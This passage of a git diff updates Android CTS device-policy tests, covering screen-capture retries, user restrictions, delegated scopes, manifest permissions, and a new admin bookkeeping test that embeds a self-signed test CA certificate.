+                    TOKEN1, 0));
+            // try changing password with token
+            assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD,
+                    TOKEN0, 0));
+            // clear password with token
+            assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, null,
+                    TOKEN0, 0));
+
+            // remove token and check it succeeds
+            assertTrue(mDevicePolicyManager.clearResetPasswordToken(ADMIN_RECEIVER_COMPONENT));
+            assertFalse(mDevicePolicyManager.isResetPasswordTokenActive(ADMIN_RECEIVER_COMPONENT));
+            assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT, PASSWORD,
+                    TOKEN0, 0));
+        } finally {
+            mDevicePolicyManager.clearResetPasswordToken(ADMIN_RECEIVER_COMPONENT);
+        }
+    }
+
+    //TODO: add test to reboot device and reset password while user is still locked.
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java
index b7f9066..e556bd9 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ScreenCaptureDisabledTest.java
@@ -16,6 +16,7 @@
 package com.android.cts.deviceandprofileowner;
 
 import android.app.admin.DevicePolicyManager;
+import android.support.v4.content.LocalBroadcastManager;
 import android.util.Log;
 
 /**
@@ -23,9 +24,16 @@
  * {@link DevicePolicyManager#getScreenCaptureDisabled} APIs.
  */
 public class ScreenCaptureDisabledTest extends BaseDeviceAdminTest {
+    private final int MAX_ATTEMPTS_COUNT = 20;
+    private final int WAIT_IN_MILLISECOND = 500;
 
     private static final String TAG = "ScreenCaptureDisabledTest";
 
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+    }
+
     public void testSetScreenCaptureDisabled_false() throws Exception {
         mDevicePolicyManager.setScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT, false);
         assertFalse(mDevicePolicyManager.getScreenCaptureDisabled(ADMIN_RECEIVER_COMPONENT));
@@ -39,10 +47,24 @@
     }
 
     public void testScreenCaptureImpossible() throws Exception {
+        for (int i = 0; i < MAX_ATTEMPTS_COUNT; i++) {
+            Log.d(TAG, "testScreenCaptureImpossible: " + i + " trials");
+            Thread.sleep(WAIT_IN_MILLISECOND);
+            if (getInstrumentation().getUiAutomation().takeScreenshot() == null) {
+                break;
+            }
+        }
         assertNull(getInstrumentation().getUiAutomation().takeScreenshot());
     }
 
     public void testScreenCapturePossible() throws Exception {
+        for (int i = 0; i < MAX_ATTEMPTS_COUNT; i++) {
+            Log.d(TAG, "testScreenCapturePossible: " + i + " trials");
+            Thread.sleep(WAIT_IN_MILLISECOND);
+            if (getInstrumentation().getUiAutomation().takeScreenshot() != null) {
+                break;
+            }
+        }
         assertNotNull(getInstrumentation().getUiAutomation().takeScreenshot());
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetPolicyActivity.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetPolicyActivity.java
index aaa017b..f3584f4 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetPolicyActivity.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SetPolicyActivity.java
@@ -23,6 +23,9 @@
 import android.os.Bundle;
 import android.os.Process;
 import android.util.Log;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
 
 /**
  * Simple activity that sets or unsets a policy depending on the value of the extras.
@@ -35,6 +38,7 @@
     private static final String EXTRA_COMMAND = "extra-command";
     private static final String EXTRA_ACCOUNT_TYPE = "extra-account-type";
     private static final String EXTRA_PACKAGE_NAME = "extra-package-name";
+    private static final String EXTRA_SCOPES_LIST = "extra-scopes-list";
 
     private static final String COMMAND_ADD_USER_RESTRICTION = "add-restriction";
     private static final String COMMAND_CLEAR_USER_RESTRICTION = "clear-restriction";
@@ -42,6 +46,7 @@
     private static final String COMMAND_UNBLOCK_ACCOUNT_TYPE = "unblock-accounttype";
     private static final String COMMAND_SET_APP_RESTRICTIONS_MANAGER =
             "set-app-restrictions-manager";
+    private static final String COMMAND_SET_DELEGATED_SCOPES = "set-delegated-scopes";
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
@@ -102,6 +107,14 @@
                 throw new IllegalArgumentException(e);
             }
             Log.i(TAG, "Setting the application restrictions managing package to " + packageName);
+        } else if (COMMAND_SET_DELEGATED_SCOPES.equals(command)) {
+            String packageName = intent.getStringExtra(EXTRA_PACKAGE_NAME);
+            String scopeArray[] = intent.getStringArrayExtra(EXTRA_SCOPES_LIST);
+            List<String> scopes = scopeArray == null ? new ArrayList() : Arrays.asList(scopeArray);
+            dpm.setDelegatedScopes(BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT,
+                    packageName, scopes);
+            Log.i(TAG, "Setting delegated scopes for package: " + packageName + " "
+                    + Arrays.toString(scopeArray));
         } else {
             Log.e(TAG, "Invalid command: " + command);
         }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
index a0740fb..39235b0 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/BaseUserRestrictionsTest.java
@@ -15,6 +15,10 @@
  */
 package com.android.cts.deviceandprofileowner.userrestrictions;
 
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.os.UserManager;
 
 import com.android.cts.deviceandprofileowner.BaseDeviceAdminTest;
@@ -22,6 +26,8 @@
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 public abstract class BaseUserRestrictionsTest extends BaseDeviceAdminTest {
     protected static final String[] ALL_USER_RESTRICTIONS = new String[]{
@@ -35,12 +41,14 @@
             UserManager.DISALLOW_USB_FILE_TRANSFER,
             UserManager.DISALLOW_CONFIG_CREDENTIALS,
             UserManager.DISALLOW_REMOVE_USER,
+            UserManager.DISALLOW_REMOVE_MANAGED_PROFILE,
             UserManager.DISALLOW_DEBUGGING_FEATURES,
             UserManager.DISALLOW_CONFIG_VPN,
             UserManager.DISALLOW_CONFIG_TETHERING,
             UserManager.DISALLOW_NETWORK_RESET,
             UserManager.DISALLOW_FACTORY_RESET,
             UserManager.DISALLOW_ADD_USER,
+            UserManager.DISALLOW_ADD_MANAGED_PROFILE,
             UserManager.ENSURE_VERIFY_APPS,
             UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
             UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS,
@@ -58,7 +66,8 @@
             UserManager.ALLOW_PARENT_PROFILE_APP_LINKING,
             UserManager.DISALLOW_DATA_ROAMING,
             UserManager.DISALLOW_SET_USER_ICON,
-            UserManager.DISALLOW_BLUETOOTH
+            UserManager.DISALLOW_BLUETOOTH,
+            UserManager.DISALLOW_BLUETOOTH_SHARING
     };
 
     /**
@@ -140,6 +149,12 @@
         assertOwnerRestriction(restriction, false);
     }
 
+    protected void assertClearDefaultRestrictions() {
+        for (String restriction : getDefaultEnabledRestrictions()) {
+            assertClearUserRestriction(restriction);
+        }
+    }
+
     /**
      * Test that the given restriction *cannot* be set (or clear).
      */
@@ -181,10 +196,30 @@
     /** For {@link #testSetAllRestrictions} */
     protected abstract String[] getDisallowedRestrictions();
 
+    /** For {@link #testDefaultRestrictions()} */
+    protected abstract String[] getDefaultEnabledRestrictions();
+
+    /**
+     * Test restrictions that should be enabled by default
+     */
+    public void testDefaultRestrictions() {
+        for (String restriction : getDefaultEnabledRestrictions()) {
+            assertOwnerRestriction(restriction, true);
+        }
+
+        Set<String> offByDefaultRestrictions = new HashSet<>(Arrays.asList(ALL_USER_RESTRICTIONS));
+        offByDefaultRestrictions.removeAll(
+                new HashSet<>(Arrays.asList(getDefaultEnabledRestrictions())));
+        for (String restriction : offByDefaultRestrictions) {
+            assertOwnerRestriction(restriction, false);
+        }
+    }
+
     /**
      * Set only one restriction, and make sure only that's set, and then clear it.
      */
     public void testSetAllRestrictionsIndividually() {
+        assertClearDefaultRestrictions();
         for (String r : getAllowedRestrictions()) {
             // Set it.
             assertSetClearUserRestriction(r);
@@ -200,6 +235,7 @@
      * Make sure all allowed restrictions can be set, and the others can't.
      */
     public void testSetAllRestrictions() {
+        assertClearDefaultRestrictions();
         for (String r : getAllowedRestrictions()) {
             assertSetClearUserRestriction(r);
         }
@@ -219,4 +255,22 @@
             assertClearUserRestriction(r);
         }
     }
+
+    public void testBroadcast() throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final IntentFilter filter = new IntentFilter(UserManager.ACTION_USER_RESTRICTIONS_CHANGED);
+        mContext.registerReceiver(new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                latch.countDown();
+            }
+        }, filter);
+
+        final String restriction = UserManager.DISALLOW_CONFIG_WIFI;
+        mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT, restriction);
+
+        assertTrue("Didn't receive broadcast", latch.await(120, TimeUnit.SECONDS));
+
+        mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT, restriction);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/CheckNoOwnerRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/CheckNoOwnerRestrictionsTest.java
index 14e5f84..d7bfcc0 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/CheckNoOwnerRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/CheckNoOwnerRestrictionsTest.java
@@ -24,7 +24,8 @@
  */
 public class CheckNoOwnerRestrictionsTest extends AndroidTestCase {
     public void testNoOwnerRestrictions() {
-        assertFalse(mContext.getSystemService(UserManager.class).hasUserRestriction(
+        assertFalse("DISALLOW_UNMUTE_MICROPHONE is still set",
+                mContext.getSystemService(UserManager.class).hasUserRestriction(
                 UserManager.DISALLOW_UNMUTE_MICROPHONE));
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
index 5fca606..b218341 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/DeviceOwnerUserRestrictionsTest.java
@@ -29,12 +29,14 @@
             UserManager.DISALLOW_USB_FILE_TRANSFER,
             UserManager.DISALLOW_CONFIG_CREDENTIALS,
             UserManager.DISALLOW_REMOVE_USER,
+            UserManager.DISALLOW_REMOVE_MANAGED_PROFILE,
             // UserManager.DISALLOW_DEBUGGING_FEATURES, // Need for CTS
             UserManager.DISALLOW_CONFIG_VPN,
             UserManager.DISALLOW_CONFIG_TETHERING,
             UserManager.DISALLOW_NETWORK_RESET,
             UserManager.DISALLOW_FACTORY_RESET,
             UserManager.DISALLOW_ADD_USER,
+            UserManager.DISALLOW_ADD_MANAGED_PROFILE,
             // UserManager.ENSURE_VERIFY_APPS, // Has unrecoverable side effects.
             UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
             UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS,
@@ -52,13 +54,18 @@
             UserManager.ALLOW_PARENT_PROFILE_APP_LINKING,
             // UserManager.DISALLOW_DATA_ROAMING, // Has unrecoverable side effects.
             UserManager.DISALLOW_SET_USER_ICON,
-            UserManager.DISALLOW_BLUETOOTH
+            UserManager.DISALLOW_BLUETOOTH,
+            UserManager.DISALLOW_AUTOFILL
     };
 
     public static final String[] DISALLOWED = new String[] {
             // DO can set all public restrictions.
     };
 
+    public static final String[] DEFAULT_ENABLED = new String[] {
+            UserManager.DISALLOW_ADD_MANAGED_PROFILE
+    };
+
     @Override
     protected String[] getAllowedRestrictions() {
         return ALLOWED;
@@ -68,5 +75,8 @@
     protected String[] getDisallowedRestrictions() {
         return DISALLOWED;
     }
+
+    @Override
+    protected String[] getDefaultEnabledRestrictions() { return DEFAULT_ENABLED; }
 }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/ManagedProfileOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/ManagedProfileOwnerUserRestrictionsTest.java
new file mode 100644
index 0000000..81f1b1c
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/ManagedProfileOwnerUserRestrictionsTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner.userrestrictions;
+
+import android.os.UserManager;
+
+/**
+ * Test for managed profile owner restriction behavior. It is mostly the same as just secondary
+ * profile owner but some restrictions are set by default.
+ */
+public class ManagedProfileOwnerUserRestrictionsTest
+        extends SecondaryProfileOwnerUserRestrictionsTest {
+
+    private static final String[] DEFAULT_ENABLED = new String[] {
+            UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES,
+            UserManager.DISALLOW_BLUETOOTH_SHARING
+    };
+
+    @Override
+    protected String[] getDefaultEnabledRestrictions() {
+        return DEFAULT_ENABLED;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/PrimaryProfileOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/PrimaryProfileOwnerUserRestrictionsTest.java
index 57c49cf..340fc9b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/PrimaryProfileOwnerUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/PrimaryProfileOwnerUserRestrictionsTest.java
@@ -26,4 +26,9 @@
     protected String[] getDisallowedRestrictions() {
         return DeviceOwnerUserRestrictionsTest.DISALLOWED;
     }
+
+    @Override
+    protected String[] getDefaultEnabledRestrictions() {
+        return new String[0];
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/ProfileGlobalRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/ProfileGlobalRestrictionsTest.java
new file mode 100644
index 0000000..d343401
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/ProfileGlobalRestrictionsTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceandprofileowner.userrestrictions;
+
+import static android.os.UserManager.ENSURE_VERIFY_APPS;
+
+import com.android.cts.deviceandprofileowner.BaseDeviceAdminTest;
+
+public class ProfileGlobalRestrictionsTest extends BaseDeviceAdminTest {
+    private void assertRestriction(String restriction, boolean expected) {
+        assertEquals("Wrong restriction value",
+                expected, mUserManager.hasUserRestriction(restriction));
+    }
+
+    public void testSetProfileGlobalRestrictions() throws Exception {
+        mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT, ENSURE_VERIFY_APPS);
+    }
+
+    public void testClearProfileGlobalRestrictions() throws Exception  {
+        mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT, ENSURE_VERIFY_APPS);
+    }
+
+    public void testProfileGlobalRestrictionsEnforced() {
+        assertRestriction(ENSURE_VERIFY_APPS, true);
+    }
+
+    public void testProfileGlobalRestrictionsNotEnforced() {
+        assertRestriction(ENSURE_VERIFY_APPS, false);
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
index 407e90b..5c7f243 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/userrestrictions/SecondaryProfileOwnerUserRestrictionsTest.java
@@ -41,7 +41,8 @@
             UserManager.DISALLOW_CROSS_PROFILE_COPY_PASTE,
             UserManager.DISALLOW_OUTGOING_BEAM,
             UserManager.ALLOW_PARENT_PROFILE_APP_LINKING,
-            UserManager.DISALLOW_SET_USER_ICON
+            UserManager.DISALLOW_SET_USER_ICON,
+            UserManager.DISALLOW_AUTOFILL
     };
 
     public static final String[] DISALLOWED = new String[] {
@@ -71,6 +72,9 @@
         return DISALLOWED;
     }
 
+    @Override
+    protected String[] getDefaultEnabledRestrictions() { return new String[0]; }
+
     /**
      * This is called after DO setting all DO restrictions.  Global restrictions should be
      * visible on other users.
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
index 3072251..91b710e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/vpn/VpnTestHelper.java
@@ -61,11 +61,13 @@
     // IP address reserved for documentation by rfc5737
     public static final String TEST_ADDRESS = "192.0.2.4";
 
+    // HACK (TODO issue 31585407) to wait for the network to actually be usable
+    private static final int NETWORK_SETTLE_GRACE_MS = 200;
+
     private static final int SOCKET_TIMEOUT_MS = 5000;
     private static final int ICMP_ECHO_REQUEST = 0x08;
     private static final int ICMP_ECHO_REPLY = 0x00;
     private static final int NETWORK_TIMEOUT_MS = 5000;
-    private static final int NETWORK_SETTLE_GRACE_MS = 100;
     private static final ComponentName ADMIN_RECEIVER_COMPONENT =
             BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
 
@@ -93,7 +95,6 @@
             if (!vpnLatch.await(NETWORK_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
                 fail("Took too long waiting to establish a VPN-backed connection");
             }
-            // Give the VPN a moment to start transmitting data.
             Thread.sleep(NETWORK_SETTLE_GRACE_MS);
         } catch (InterruptedException | PackageManager.NameNotFoundException e) {
             fail("Failed to send ping: " + e);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
index 20ed312..4e9abd7 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
@@ -24,12 +24,13 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner conscrypt cts-junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
     compatibility-device-util \
-    legacy-android-test
+    android-support-v4 \
+    android-support-test
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index 10711ad..01967dc 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -20,15 +20,17 @@
     <uses-sdk android:minSdkVersion="20"/>
 
     <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
     <uses-permission android:name="android.permission.WRITE_SETTINGS" />
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+    <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.BLUETOOTH" />
     <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
 
-    <!-- Add a network security config that trusts user added CAs for tests -->
-    <application android:networkSecurityConfig="@xml/network_security_config"
+    <application
         android:testOnly="true">
 
         <uses-library android:name="android.test.runner" />
@@ -68,9 +70,25 @@
             android:name="com.android.cts.deviceowner.LockTaskTest$IntentReceivingActivity"
             android:taskAffinity="com.android.cts.deviceowner.LockTaskTest.IntentReceivingActivity"
             />
+
+        <activity
+            android:name=".SetPolicyActivity"
+            android:launchMode="singleTop">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
+
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.deviceowner"
-                     android:label="Device Owner CTS tests"/>
+                     android:label="Device Owner CTS tests">
+        <meta-data
+            android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
new file mode 100644
index 0000000..0694d76
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.os.Process;
+import android.provider.Settings;
+
+import com.android.org.conscrypt.TrustedCertificateStore;
+
+import java.io.ByteArrayInputStream;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateFactory;
+import java.util.List;
+
+public class AdminActionBookkeepingTest extends BaseDeviceOwnerTest {
+    /*
+     * The CA cert below is the content of cacert.pem as generated by:
+     *
+     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
+     */
+    private static final String TEST_CA =
+            "-----BEGIN CERTIFICATE-----\n" +
+            "MIIDXTCCAkWgAwIBAgIJAK9Tl/F9V8kSMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV\n" +
+            "BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX\n" +
+            "aWRnaXRzIFB0eSBMdGQwHhcNMTUwMzA2MTczMjExWhcNMjUwMzAzMTczMjExWjBF\n" +
+            "MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50\n" +
+            "ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\n" +
+            "CgKCAQEAvItOutsE75WBTgTyNAHt4JXQ3JoseaGqcC3WQij6vhrleWi5KJ0jh1/M\n" +
+            "Rpry7Fajtwwb4t8VZa0NuM2h2YALv52w1xivql88zce/HU1y7XzbXhxis9o6SCI+\n" +
+            "oVQSbPeXRgBPppFzBEh3ZqYTVhAqw451XhwdA4Aqs3wts7ddjwlUzyMdU44osCUg\n" +
+            "kVg7lfPf9sTm5IoHVcfLSCWH5n6Nr9sH3o2ksyTwxuOAvsN11F/a0mmUoPciYPp+\n" +
+            "q7DzQzdi7akRG601DZ4YVOwo6UITGvDyuAAdxl5isovUXqe6Jmz2/myTSpAKxGFs\n" +
+            "jk9oRoG6WXWB1kni490GIPjJ1OceyQIDAQABo1AwTjAdBgNVHQ4EFgQUH1QIlPKL\n" +
+            "p2OQ/AoLOjKvBW4zK3AwHwYDVR0jBBgwFoAUH1QIlPKLp2OQ/AoLOjKvBW4zK3Aw\n" +
+            "DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAcMi4voMMJHeQLjtq8Oky\n" +
+            "Azpyk8moDwgCd4llcGj7izOkIIFqq/lyqKdtykVKUWz2bSHO5cLrtaOCiBWVlaCV\n" +
+            "DYAnnVLM8aqaA6hJDIfaGs4zmwz0dY8hVMFCuCBiLWuPfiYtbEmjHGSmpQTG6Qxn\n" +
+            "ZJlaK5CZyt5pgh5EdNdvQmDEbKGmu0wpCq9qjZImwdyAul1t/B0DrsWApZMgZpeI\n" +
+            "d2od0VBrCICB1K4p+C51D93xyQiva7xQcCne+TAnGNy9+gjQ/MyR8MRpwRLv5ikD\n" +
+            "u0anJCN8pXo6IMglfMAsoton1J6o5/ae5uhC6caQU8bNUsCK570gpNfjkzo6rbP0\n" +
+            "wQ==\n" +
+            "-----END CERTIFICATE-----";
+
+    @Override
+    protected void tearDown() throws Exception {
+        mDevicePolicyManager.setSecurityLoggingEnabled(getWho(), false);
+        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), false);
+        mDevicePolicyManager.uninstallCaCert(getWho(), TEST_CA.getBytes());
+
+        super.tearDown();
+    }
+
+    /**
+     * Test: Retrieving security logs should update the corresponding timestamp.
+     */
+    public void testRetrieveSecurityLogs() throws Exception {
+        Thread.sleep(1);
+        final long previousTimestamp = mDevicePolicyManager.getLastSecurityLogRetrievalTime();
+
+        mDevicePolicyManager.setSecurityLoggingEnabled(getWho(), true);
+
+        long timeBefore = System.currentTimeMillis();
+        mDevicePolicyManager.retrieveSecurityLogs(getWho());
+        long timeAfter = System.currentTimeMillis();
+
+        final long firstTimestamp = mDevicePolicyManager.getLastSecurityLogRetrievalTime();
+        assertTrue(firstTimestamp > previousTimestamp);
+        assertTrue(firstTimestamp >= timeBefore);
+        assertTrue(firstTimestamp <= timeAfter);
+
+        Thread.sleep(2);
+        timeBefore = System.currentTimeMillis();
+        final boolean preBootSecurityLogsRetrieved =
+                mDevicePolicyManager.retrievePreRebootSecurityLogs(getWho()) != null;
+        timeAfter = System.currentTimeMillis();
+
+        final long secondTimestamp = mDevicePolicyManager.getLastSecurityLogRetrievalTime();
+        if (preBootSecurityLogsRetrieved) {
+            // If the device supports pre-boot security logs, verify that retrieving them updates
+            // the timestamp.
+            assertTrue(secondTimestamp > firstTimestamp);
+            assertTrue(secondTimestamp >= timeBefore);
+            assertTrue(secondTimestamp <= timeAfter);
+        } else {
+            // If the device does not support pre-boot security logs, verify that the attempt to
+            // retrieve them does not update the timestamp.
